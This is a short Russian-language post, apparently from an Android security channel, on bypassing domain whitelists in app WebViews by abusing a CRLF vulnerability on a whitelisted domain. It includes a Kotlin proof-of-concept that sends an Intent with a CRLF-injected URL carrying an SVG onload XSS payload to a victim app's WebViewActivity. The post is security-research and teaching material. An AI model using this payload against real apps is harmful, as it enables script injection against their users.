Продолжая тему фильтров стоит сказать про более сложный в эксплуатации вариант - фильтрация по белому списку. Приложение может принимать только заданный список доменов и отклонять все остальные. Но варианты эксплуатации есть и в этом случае. Нужно сместить фокус внимания на список разрешенных доменов и искать проблемы уже в них. Допустим мы хотим грузить произвольный контент в WebView. В этом случае может помочь найденная на одном из доменов белого списка уязвимость CRLF. Чаще всего ее можно трансформировать в возможность внедрения произвольного HTML, а там уже и XSS и все остальные приятные штуки с этим связанные. Сам эксплойт может выглядеть как-то так:
val payload = "%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e"
val i = Intent().apply {
setClassName("com.app.victim", "com.app.victim.WebViewActivity")
putExtra("url", "https://whitelisted.victim.com/$payload")
}
startActivity(i)
Подробнее:
раз,
два.
#aht